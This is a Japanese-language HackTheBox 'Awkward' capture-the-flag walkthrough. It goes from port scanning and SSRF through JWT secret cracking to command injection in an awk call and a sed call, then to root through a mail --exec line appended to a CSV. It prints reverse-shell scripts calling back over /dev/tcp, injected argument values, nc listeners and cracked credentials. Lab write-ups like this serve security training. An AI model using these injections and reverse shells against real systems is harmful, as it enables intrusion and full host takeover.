HackTheBox Awkward
Awkward
侵入
rustscan
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ rustscan -a 10.10.11.185 -- -A -T4 -sC -sV -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80番のみが検出されたが、再度nmapを実行すると、22番も検出することができた
web
実際に、サイトを確認してみる
帽子のサイトらしいが、特に重要な情報は見つからない
Burp Suite でリクエストを確認すると、大量の js ファイルが使用されていることがわかった
特に、app.js には情報があることが多いので内容を確認していく
{\n href: \"/hr\",\n onClick: _cache[0] || (_cache[0] = function () {\n
return $options.logout && $options.logout.apply($options, arguments);\n }
やはり、新たなリンクの情報が記載されていた
実際に、hr にアクセスしてみる
ログイン画面が表示された
今のところ、認証情報はまったく手がかりがないので、SQLインジェクションを試そうとしたところ
GET /hr HTTP/1.1
Host: hat-valley.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=guest
Upgrade-Insecure-Requests: 1
Burp Suite で確認すると、Cookie に guest という値が使用されていることがわかった
Cookie の値を admin に変更し、再度 hr にアクセスしてみる
dashboard にアクセスできた
アクセスはできたが特に情報がなさそうな気がするので、再度 app.js を見てみる
// staff-details
var baseURL = \"/api/\";\n\nvar staff_details = function staff_details() {\n
return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-
details').then(function (response) {\n return response.data;\n });\n};
// store-status
var baseURL = \"/api/\";\n\nvar store_status = function store_status(URL) {\n
var params = {\n url: {\n toJSON: function toJSON() {\n return URL;\n
}\n }\n };\nreturn axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL +
'store-status', {\n params: params\n }).then(function (response) {\n
return response.data;\n });\n};
新たに、/api/staff-details と /api/store-status の存在を発見
アクセスしてみると、JWT認証でエラーが起きている
トークンを admin に変更してもエラーが出てしまうため、何も入力せずにアクセスしてみる
すると、username と password が表示された
パスワードは当然ハッシュ化されているので、解読していく
CrackStation による解読を試したところ、Christopher のパスワードを解読できた
実際に、hr でのログインを試してみる
ログインが成功し、先ほどまでとは違って、アイコンや名前が表示されている
さっきから気になっているのは、Store Status という要素だが、Refresh を押しても何も動作しない。かと思っていたら、Brup Suite で以下のようなリクエストが飛んでいた
GET /api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22 HTTP/1.1
Host: hat-valley.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://hat-valley.htb/dashboard
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MDE5NTI4fQ.ZB3FeF_sPJzJhRwg_FRbqyjD47n-jL6PVAelkxCmtn0
store-status に対して url とともに送信されている
試しに、store.hat-valley.htb にアクセスしてみる
basic 認証が行われていた。先ほどの認証情報を試してもアクセスすることはできなかった
store-status に話を戻し、試しに store.hat-valley.htb ではなく、hat-valley.htb に変更し、リクエストを送信してみる
すると、通常の画面が出力されており、これは、SSRF が発火する可能性がある。現時点で真っ先に考え浮かぶのは、ポートを指定することなので、ffuf によるポートの指定を行う
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ ffuf -w port.txt -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -p 0.1 -of html -o ffuf.html -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"
:: Wordlist : FUZZ: port.txt
:: Output file : fuff.html
:: File format : html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Delay : 0.10 seconds
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
80 [Status: 200, Size: 132, Words: 6, Lines: 9, Duration: 261ms]
3002 [Status: 200, Size: 77010, Words: 5916, Lines: 686, Duration: 518ms]
8080 [Status: 200, Size: 2881, Words: 305, Lines: 55, Duration: 351ms]
:: Progress: [65535/65535] :: Job [1/1] :: 113 req/sec :: Duration: [0:11:36] :: Errors: 0 ::
3002番と8080番を新たに発見
3002番に実際にアクセスすると、API の仕様が説明されている
一つ一つ確認していくと、脆弱性がある API を発見した
awk
API の中でも all-leave に注目する
app.get('/api/all-leave', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
const badInUser = bad.some(char => user.includes(char));
if(badInUser) {
return res.status(500).send("Bad character detected.")
}
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
if(stdout) {
return res.status(200).send(new Buffer(stdout, 'binary'));
}
if (error) {
return res.status(500).send("Failed to retrieve leave requests")
}
if (stderr) {
return res.status(500).send("Failed to retrieve leave requests")
}
})
})
exec の中で user が使用されており、bad の中にスラッシュ(/)とカンマ(.)が検知されるようになっていないため、LFI に対して脆弱であることがわかる
これを悪用するためには、JWT トークンの username に該当するファイル名を指定する必要がある
┌──(kali㉿kali)-[~/Desktop/Awkward/jwtcrack]
└─$ ./jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MDE5NTI4fQ.ZB3FeF_sPJzJhRwg_FRbqyjD47n-jL6PVAelkxCmtn0 > jwt.john
jwt2john.py を使用し、jwt.john を作成
┌──(kali㉿kali)-[~/Desktop/Awkward/jwtcrack]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123 (?)
1g 0:00:00:04 DONE (2023-02-10 18:49) 0.2469g/s 3291Kp/s 3291Kc/s 3291KC/s 123erix..123P45
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
jwt.john に対して、john を実行すると、jwt の解読に成功した
解読に成功したので、実際にカスタムJWTトークンを作っていく
とりあえず、/etc/passwd の出力を目指す
Burp Suite でリクエストを送信すると、うまく /etc/passwd を表示させることができた
同時に bean ユーザ と christine ユーザの存在も把握できた
次に、それぞれのユーザの SSH 秘密鍵を取得できないか試してみたが、うまくいかない
SSH 秘密鍵がダメだったので、bashrc を試す
うまく読み取ることに成功し、backup_home という怪しいコードを発見
backup_home.sh がどのようなものなのか調べてみる
同じように JWT トークンを使用し、内容を確認
色々実行されているが、目をつけるポイントは tar ファイルが作成されているところにある
backup ディレクトリに作成されたものは、削除されていないのでダウンロードできそう
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjAxOTUyOH0.JSSGEmEhxphb3ZW1aGCczA3xRoshVqdayyHPE4eMqaw" --output bean_backup_final.tar.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 31716 100 31716 0 0 48424 0 --:--:-- --:--:-- --:--:-- 48495
curl を実行し、ダウンロード
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ tar -xvzf bean_backup_final.tar.gz
gzip: stdin: unexpected end of file
./
./bean_backup.tar.gz
./time.txt
tar: Child returned status 1
tar: Error is not recoverable: exiting now
解凍すると、さらに bean_backup.tar.gz ファイルが出力された
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ tar -xvzf bean_backup.tar.gz
./
./Templates/
./.ssh/
./Pictures/
./.config/
./.config/xpad/
./.config/xpad/info-GQ1ZS1
./.config/xpad/default-style
./.config/xpad/content-DS1ZS1
./.config/gnome-initial-setup-done
./.config/goa-1.0/
./snap/snapd-desktop-integration/14/Documents/
./snap/snapd-desktop-integration/common/
./.bashrc
./Downloads/
./.bash_history
./.profile
./Desktop/
./Public/
./.bash_logout
./Documents/
./Documents/backup_tmp/
./Documents/backup_tmp/bean_backup.tar.gz
./Documents/backup_home.sh
./Documents/backup/
大部分は省略しているが、bean_backup.tar.gz をさらに解凍すると大量にファイルが出力された
┌──(kali㉿kali)-[~/Desktop/Awkward/.config/xpad]
└─$ cat content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold
ファイルを探索していると、bean のパスワードらしき文字列を発見した
bean としてのシェル
SSH
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ ssh bean@10.10.11.185
bean@10.10.11.185's password:
bean@awkward:~$ whoami
bean
侵入成功
user フラグ
bean@awkward:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
列挙
store
前見つけていた Basic 認証をクリアするための情報を探す
bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
admin と ハッシュを見つけることができたが、ハッシュは解読することができない
そこで、先ほどの bean のパスワードがどこでも使われていると記述されていたことを思い出し、認証に使用してみる
アクセスに成功した
実際に、SSH 上でファイルが確認できるので、色々と見てみる
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
else {
echo "Invalid item";
}
exit;
}
cart_actions.php の内容をみると、system で sed コマンドを実行していることがわかった。他にも system を実行しているコードはあるが、bad_chars でセミコロン(;)が検知されるので、悪用は難しそう。しかし、sed であれば、RCE として十分に悪用可能
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
一つ一つ確認していく。まず sed を実行するためには、cart を削除するアクションを起こす必要がある。
function removeFromCart(item, user) {
$.ajax({
type: "post",
url: 'cart_actions.php',
data:{item: item.getAttribute("data-id"), user: user, action: 'delete_item'},
success:function(data) {
alert(data)
location.reload()
}
});
}
cart.php を確認したところ、実際に delete_item というアクションを飛ばしているものを確認した。また、今回 RCE を発火させるために使用するパラメータは item であり、ここでは、getAttribute により、item を設定していることがわかる
item=1&user=374b-ecd1-bcf-fb23&action=delete_item
実際に、カートを削除した際に上記のパラメータが飛んでいた
では、どのように RCE を行うかという話だが、sed の -e オプションを使用する
bean@awkward:/var/www/store$ cat /tmp/shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/5555 0>&1
まず、Kali へシェルを返すようなスクリプトを作成
system("sed -i '/item_id=' -e "1e /tmp/shell.sh" /tmp/shell.sh '/d' {$STORE_HOME}cart/{$user_id}");
そして、上記のような形で実行できるように、item_id の値を変更していく
そのために、cart に商品を登録し、登録されたファイルの item の値を変更する
bean@awkward:/var/www/store/cart$ rm 374b-ecd1-bcf-fb23
bean@awkward:/var/www/store/cart$ nano 374b-ecd1-bcf-fb23
bean@awkward:/var/www/store/cart$ cat 374b-ecd1-bcf-fb23
***Hat Valley Cart***
item_id=1' -e "1e /tmp/shell.sh" /tmp/shell.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
www-data としてのシェル
bash
ここまできたら、kali 側で待ち受け、実際に cart を削除する
item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=c32c-8d49-752-e3d9&action=delete_item
リクエストを Repeater に送り、上記のよう変更
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.185] 38650
www-data@awkward:~/store$ whoami
www-data
リクエストを送信することで、シェルが取得できた
権限昇格
leave_requests.csv
www-data@awkward:~/private$ ls -l
total 4
-rwxrwxrwx 1 christine www-data 600 Feb 14 01:40 leave_requests.csv
private ディレクトリ内をみてみると、leave_requests.csv を確認
www-data@awkward:~/private$ cat leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
中身を見てみたが、いまいち何をしているかまだわからない
www-data@awkward:/tmp$ ./pspy64
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
2023/02/14 01:50:01 CMD: UID=0 PID=3722 | /bin/sh -c /root/scripts/restore.sh
2023/02/14 01:50:01 CMD: UID=0 PID=3724 | cp /root/backup/leave_requests.csv /var/www/private/leave_requests.csv
2023/02/14 01:50:01 CMD: UID=0 PID=3723 | /bin/bash /root/scripts/restore.sh
2023/02/14 01:50:01 CMD: UID=0 PID=3728 | /bin/bash /root/scripts/notify.sh
2023/02/14 01:50:01 CMD: UID=0 PID=3726 | /bin/bash /root/scripts/notify.sh
2023/02/14 01:50:01 CMD: UID=0 PID=3737 | mail -s Leave Request: bean.hill christine
2023/02/14 01:50:01 CMD: UID=0 PID=3738 | /usr/sbin/sendmail -oi -f root@awkward -t
pspy64 により何をしているのかを確認してみると、どうやら leave_requests.csv を使用し、mail コマンドを実行しているようだ。これは権限昇格に使用できそう
root としてのシェル
情報は揃ったので、実際に権限昇格していく
www-data@awkward:/tmp$ cat root.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/9002 0>&1
まずは、先ほどのように、シェルを返す実行ファイルを作成
echo '" --exec="\!/tmp/root.sh"' >> leave_requests.csv
そして次に、そのファイルを実行するように csv ファイルを編集
┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.185] 50258
root@awkward:~/scripts# whoami
root
その後、しばらく待ち受けているとシェルを取得できた
root フラグ
root@awkward:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
攻略完了
所感
今回のボックスはかなりボリュームがあり難易度も高かったと思うが、攻略していてとても楽しいボックスだった。staff-detailsへのアクセスでは、トークンを書き換えながら攻略する過程で、まさか何も設定しないことによりアクセスが可能になるとは思わなかったので、成功した時は驚いた。JWTは今までの学習の成果が現れ比較的簡単に攻略できたので、よかった。成長を感じれる機会は貴重だと思う。
Discussion